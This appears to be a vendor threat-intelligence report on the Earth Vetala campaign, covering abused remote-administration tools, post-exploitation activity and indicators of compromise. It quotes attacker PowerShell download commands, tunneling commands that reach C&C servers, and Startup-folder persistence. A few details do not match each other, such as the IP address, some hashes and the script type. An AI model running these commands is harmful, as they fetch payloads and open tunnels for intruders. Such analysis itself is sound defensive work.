The .ZIP file contains a copy of a legitimate remote administration software developed by RemoteUtilities and provides remote administration capabilities, including:  Downloading and uploading files Grabbing screenshots Browsing files and directories Executing and terminating processes  During our research, we were able to discover multiple .ZIP files used to distribute the RemoteUtilities remote administration software in the manner above, with all of these distributing the same RemoteUtilities sample.


The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.


Otherwise, the TTPs in use remain broadly similar.


RemoteUtilities Analysis


When the RemoteUtilities software is executed, its process launches msiexec.exe with the following command:


Figure 4.


RemoteUtilities Installation     The MSI installer installs a service on the victim machine called Remote Utilities – Host:      Figure 5.


Remote Utilities Service     The service then communicates with the domain id.remoteutilities.com, which belongs to RemoteUtilities.


This connection is related to one of its features called Internet-ID Connection.


This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.


This allows the threat actor to connect to the Internet-ID server, which then connects to the actual RemoteUtilities host.


Figure 6. id-server connection


Post-Exploitation Analysis


During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software.


They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf)


As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.


The same domain was mentioned in the previous research.


We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands.


cmd.exe net user /domain


The command above allows the attacker to get all the users from the domain controller.


The next command executed is the following: powershell.exe -exec bypass -w 1 -file a.ps1


This is a command to execute a PowerShell script of some kind.


However, we did not have access to the a.ps1 file.


We are not sure what functionality is provided here.


The next command issued is the following: powershell.exe iwr -uri http://87.236.212[.]184/SharpChisel.exe -outfile c:\programdata\SharpChisel.exe -usebasicparsing


The command is connected to 187.236.212[.]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\programdata directory.


The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel.


The above IP address is geolocated to a server in Iran.


The following command then configures SharpChisel: C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999


This directs all traffic to the localhost at port 9999 to the same remote server.


Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999


This time, traffic will be forwarded to the server over port 443.


A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 It is then configured with the following command line PowerShell command: powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999


We believe that the threat actor was unable to configure SharpChisel to work correctly.


The use of the following command provides additional evidence to support our assumption: powershell.exe iwr -uri hxxp://87.236.212[.]184/procdump64.exe -outfile c:\programdata\procdump64.exe -usebasicparsing


The command connects to the C&C server, downloads procdump64.exe, and saves the file in the C:\programdata directory.


That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.


Figure 7.


LIGOLO execution example


This was done using two separate commands: C:\programdate\1.exe -relayserver 87.236.212[.]184:5555  C:\users\public\new.exe -relayserver 87.236.212[.]184:5555


We then see the threat actor again attempting to use SharpChisel several times using the following command: C:\programdata\SharpChisel.exe  client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999  powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 R:8888:127.0.0.1:9999


We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.


Following the unsuccessful attempt to configure a tunnel connection to their C&C server, the threat actors downloaded a remote access tool (RAT) and attempted to configure it.


The following PowerShell command was used for this: powershell.exe iwr -uri hxxp://87.236.212[.]184/out1 -outfile c:\users\public\out1.exe -usebasicparsing


The command downloads out1.exe and saves the file in the C:\users\public\ directory.


Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.


We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files.


These are then decompiled to get the original python code using easypythondecompiler.


The out1.exe RAT has the following capabilities:  Data encoding Email parsing File and registry copy HTTP/S connection support Native command line Process and file execution


After this, the file C:\users\public\Browser64.exe is run.


Browser64 is a tool that extracts credentials from the following applications:  Chrome Chromium Firefox Opera Internet Explorer Outlook       Figure 8.


Usage Example of Browser64.exe     Following the use of browser64.exe, we observed the following command being executed: powershell.exe


iex(new


object


They again attempted to use SharpChisel with no success: powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\programdata\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\programdata\SharpChisel.exe server -p 9999 --socks5


Finally, we observed a persistence mechanism being set using the following commands: cmd.exe /c Wscript.exe "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\news.js"  cmd.exe /c "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\newsblog.js"


We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL: hxxp://23[.]95[.]215[.]100:8008/index.jsp/7e95a3d753cc4a17793ef9513e030b49/4t2Fg7k6wWRnKgd9      Figure 9.


newsblog.js


The script sets up a new HTTP object and then tries to disable the system's local proxy settings.


The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds.


At the time of our analysis, this server was still available.


The response from the server contains an encoded PowerShell script, which is executed in memory.


Decoding this script reveals that it contains a backdoor:


Figure 10. deobfuscated PowerShell backdoor     The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor.


The PowerShell backdoor has the following capabilities.


Check for Skype connectivity Download and install Skype Encoded communication with its C2 Execute commands sent from the C2 server Get multifactor authentication settings Get the currently logged on user and OS version  Earth Vetala Footprint Earth Vetala conducted an extensive offensive campaign targeting multiple countries.


We observed it operating in the following countries:  Azerbaijan Bahrain Israel Saudi Arabia United Arab Emirates       Figure 11.


Affected countries     We observed Earth Vetala target the following sectors:  Government Agencies Academia Tourism  Trend Micro Solutions Earth Vetala represents an interesting threat.


While it possesses remote access capabilities, the attackers seem to lack the expertise to use all of these tools correctly.


This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill.


Our findings in this area were made possible by our Dedicated Intelligence Research (DIR) analysts.


They are on-hand to help organizations reach important decisions and understand the nature of the security challenges they face.


For more information on the Dedicated Intelligence Research service, please contact your regional Sales team to learn more.


MITRE ATT&CK Techniques Mapping  Tactic  Technique  Resource Development  Acquire Infrastructure: Web Services – T1583.006  Initial Access  Phishing: Spearphishing Attachment – T1566.001 Phishing: Spearphishing Link – T1566.002  Execution  Command and Scripting Interpreter: PowerShell – T1059.001


Command and Scripting Interpreter: Windows Command Shell – T1059.003


Command and Scripting Interpreter: Visual Basic – T1059.005 User Execution: Malicious Link – T1204.001 User Execution: Malicious File – T1204.002 Persistence, Privilege Escalation  Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001  Discovery  Account Discovery: Domain Account - T1087.002  Credential Access  Credentials from Password Stores: Credentials from Web Browsers – T1555.003  Command and Control  Data Encoding: Standard Encoding – T1132.001  Defense Evasion  Deobfuscate/Decode Files or Information - T1140   Indicators of Compromise Files  File name SHA-256 Trend Micro Detection Name Description SharpChisel.exe 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 HackTool.MSIL.Chisel.A SharpChisel tunneling tool PD64.dll ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 Trojan.Win64.PASSDUMP.A File used by HackTool.Win64.PassDump.AC PasswordDumper.exe 0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3 HackTool.Win64.PassDump.AC


Password dumping tool out1.exe 79fd822627b72bd2fbe9eae43cf98c99c2ecaa5649b7a3a4cfdc3ef8f977f2e6 HackTool.Win64.Lazagne.


Pyinstaller remote access tool newsblog.js 304ea86131c4d105d35ebbf2784d44ea24f0328fb483db29b7ad5ffe514454f8 Trojan.JS.DLOADR.AUSUOL VBS downloader new.exe fb414beebfb9ecbc6cb9b35c1d2adc48102529d358c7a8997e903923f7eda1a2 HackTool.Win64.LIGOLO.A LIGOLO tunneling tool Browser64.exe 3495b0a6508f1af0f95906efeba36148296dccd2ab8ffb4e569254b683584fea HackTool.Win64.BrowserDumper.A


Tool for accessing browser DBs 1.exe 78b1ab1b8196dc236fa6ad4014dd6add142b3cab583e116da7e8886bc47a7347 HackTool.Win64.LIGOLO.A LIGOLO tunneling tool


مکتبة إلکترونیة.pdf 70cab18770795ea23e15851fa49be03314dc081fc44cdf76e8f0c9b889515c1b Trojan.


PDF.RemoteUtilities.A


PDF with embedded URLs   468e331fd3f9c41399e3e90f6fe033379ab69ced5e11b35665790d4a4b7cf254 Trojan.W97M.RemoteUtilities.A RTF with embedded URLs


مکتبة إلکترونیة .zip f865531608a4150ea5d77ef3dd148209881fc8d831b2cfb8ca95ceb5868e1393 PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities


مکتبة إلکترونیة.exe f664670044dbd967ff9a5d8d8f345be294053e0bae80886cc275f105d8e7a376 PUA.Win32.RemoteUtilities.A RemoteUtilities remote access software برنامج.zip 8bee2012e1f79d882ae635a82b65f88eaf053498a6b268c594b0d7d601b1212f PUA.Win32.RemoteUtilities.A


Archive containing RemoteUtilities برنامجدولیة.zip 9b345d2d9f52cda989a0780acadf45350b423957fb7b7668b9193afca3e0cd27 PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities